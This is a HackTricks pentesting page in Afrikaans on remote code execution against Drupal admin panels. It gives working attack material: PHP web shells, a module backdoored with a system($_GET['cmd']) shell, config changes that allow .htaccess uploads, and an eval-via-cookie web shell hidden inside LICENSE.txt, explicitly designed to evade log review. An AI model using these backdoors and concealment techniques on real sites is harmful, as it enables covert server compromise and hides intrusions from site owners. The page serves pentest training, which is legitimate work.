hacktricks/network-services-pentesting/pentesting-web/drupal/drupal-rce.md

285 lines
13 KiB
Markdown

# Drupal RCE
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Met PHP Filter Module
{% hint style="warning" %}
In ouer weergawes van Drupal **(voor weergawe 8)**, was dit moontlik om as 'n admin aan te meld en **die `PHP filter` module te aktiveer**, wat "Ingebedde PHP kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
{% endhint %}
Jy moet die **plugin php geïnstalleer hê** (kyk dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
Gaan na _Modules_ -> (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
![](<../../../.gitbook/assets/image (247) (1).png>)
Klik dan op _Voeg inhoud by_ -> Kies _Basiese Bladsy_ of _Artikel -_> Skryf _php shellcode in die liggaam_ -> Kies _PHP kode_ in _Teksvorm_ -> Kies _Voorskou_
![](<../../../.gitbook/assets/image (338).png>)
Laastens, toegang tot die nuut geskepte node:
```bash
curl http://drupal-site.local/node/3
```
## Installeer PHP Filter Module
{% hint style="warning" %}
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaardinstallasie nie.
{% endhint %}
Vanaf weergawe **8 en later, is die** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module nie standaard geïnstalleer nie**. Om hierdie funksionaliteit te benut, sal ons die **module self moet installeer**.
1. Laai die mees onlangse weergawe van die module af van die Drupal-webwerf.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Sodra dit afgelaai is, gaan na **`Administrasie`** > **`Verslae`** > **`Beskikbare opdaterings`**.
3. Klik op **`Blader`**, kies die lêer uit die gids waarheen ons dit afgelaai het, en klik dan op **`Installeer`**.
4. Sodra die module geïnstalleer is, kan ons op **`Inhoud`** klik en **'n nuwe basiese bladsy skep**, soortgelyk aan hoe ons dit in die Drupal 7 voorbeeld gedoen het. Weereens, maak seker om **`PHP kode` uit die `Teksvormaat` keuselys te kies**.
## Backdoored Module
{% hint style="warning" %}
In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaardinstallasie nie.
{% endhint %}
'n Backdoored module kan geskep word deur **'n shell by 'n bestaande module te voeg**. Modules kan op die drupal.org-webwerf gevind word. Kom ons kies 'n module soos [CAPTCHA](https://www.drupal.org/project/captcha). Scroll af en kopieer die skakel vir die tar.gz [argief](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Laai die argief af en onttrek die inhoud.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* Skep 'n **PHP web shell** met die inhoud:
```php
<?php
system($_GET["cmd"]);
?>
```
* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids ontken.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* Die konfigurasie hierbo sal reëls toepas vir die / gids wanneer ons 'n lêer in /modules versoek. Kopieer albei van hierdie lêers na die captcha-gids en skep 'n argief.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Aangesien ons **administratiewe toegang** tot die webwerf het, klik op **`Bestuur`** en dan **`Verleng`** in die sybalk. Klik dan op die **`+ Installeer nuwe module`** knoppie, en ons sal na die installasiebladsy geneem word, soos `http://drupal-site.local/admin/modules/install`. Blaai na die backdoored Captcha-argief en klik op **`Installeer`**.
* Sodra die installasie suksesvol is, blaai na **`/modules/captcha/shell.php`** om opdragte uit te voer.
## Backdooring Drupal met Konfigurasiesinkronisasie <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Pos gedeel deur** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Deel 1 (aktivering van _Media_ en _Media Biblioteek_)
In die _Verleng_ menu (/admin/modules), kan jy aktiveer wat blyk reeds geïnstalleerde plugins te wees. Standaard, blyk plugins _Media_ en _Media Biblioteek_ nie geaktiveer te wees nie, so kom ons aktiveer hulle.
Voor aktivering:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na aktivering:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deel 2 (benutting van funksie _Konfigurasiesinkronisasie_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Ons sal die _Konfigurasiesinkronisasie_ funksie benut om Drupal konfigurasie-invoere te dump (uitvoer) en op te laai (invoer):
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
Kom ons begin deur die eerste invoer `allow_insecure_uploads` te patch vanaf:
Lêer: system.file.yml
```
...
allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na:
Lêer: system.file.yml
```
...
allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
Dan, patch die tweede inskrywing `file_extensions` van:
File: field.field.media.document.field\_media\_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na:
Lêer: field.field.media.document.field\_media\_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
> Ek gebruik dit nie in hierdie blogpos nie, maar dit word opgemerk dat dit moontlik is om die invoer `file_directory` op 'n arbitrêre manier te definieer en dat dit kwesbaar is vir 'n pad traversaal aanval (so ons kan teruggaan binne die Drupal lêerstelsel boom).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deel 3 (benutting van funksie _Voeg Dokument by_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Die laaste stap is die eenvoudigste, en is opgebroke in twee sub-stappe. Die eerste is om 'n lêer in .htaccess formaat op te laai om die Apache riglyne te benut en .txt lêers toe te laat om deur die PHP enjin geïnterpreteer te word. Die tweede is om 'n .txt lêer op te laai wat ons payload bevat.
Lêer: .htaccess
```
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
```
Waarom is hierdie truuk cool?
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaat word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
Waarom noem ons ons Webshell LICENSE.txt?
Eenvoudig omdat as ons die volgende lêer neem, byvoorbeeld [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (wat reeds in die Drupal-kern teenwoordig is), ons 'n lêer van 339 lyne en 17.6 KB in grootte het, wat perfek is om 'n klein snit van PHP-kode in die middel by te voeg (aangesien die lêer groot genoeg is).
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
Lêer: Gepatchte LICENSE.txt
```txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
```
#### **Deel 3.1 (laai lêer .htaccess op)**
Eerstens, benut ons die _Voeg Dokument_ (/media/add/document) funksie om ons lêer wat die Apache riglyne bevat (.htaccess) op te laai.
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Deel 3.2 (laai lêer LICENSE.txt op)**
Dan, benut ons weer die _Voeg Dokument_ (/media/add/document) funksie om 'n Webshell wat in 'n lisensie lêer versteek is, op te laai.
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Deel 4 (interaksie met die Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
Die laaste deel bestaan uit interaksie met die Webshell.
Soos in die volgende skermskoot getoon, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer via 'n Webblaaier raadpleeg.
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
Wanneer die aanvaller die koekie stel, kan hy met die Webshell interaksie hê en enige opdragte uitvoer wat hy wil.
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
En soos jy in die logs kan sien, lyk dit of slegs 'n txt-lêer aangevra is.
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
Dankie dat jy die tyd geneem het om hierdie artikel te lees, ek hoop dit sal jou help om 'n paar shells te kry.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}